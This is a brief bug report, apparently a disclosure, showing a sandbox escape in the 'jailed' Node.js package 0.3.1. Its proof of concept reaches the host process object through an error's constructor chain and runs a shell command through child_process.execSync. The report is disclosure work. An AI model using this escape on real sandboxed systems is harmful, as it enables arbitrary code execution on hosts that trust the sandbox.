Sandbox Escape Bug in jailed with Node.js

[seongil-wi]

• Jailed version: 0.3.1

• Node version: 18.15.0

• run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);

• test_case.js

    try{ 
        valueOf()
    } catch(pp){
        pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
    }

application.disconnect();

Sandbox can be escaped by calling valueOf() function.
Also, we can execute arbitrary shell code using process module.
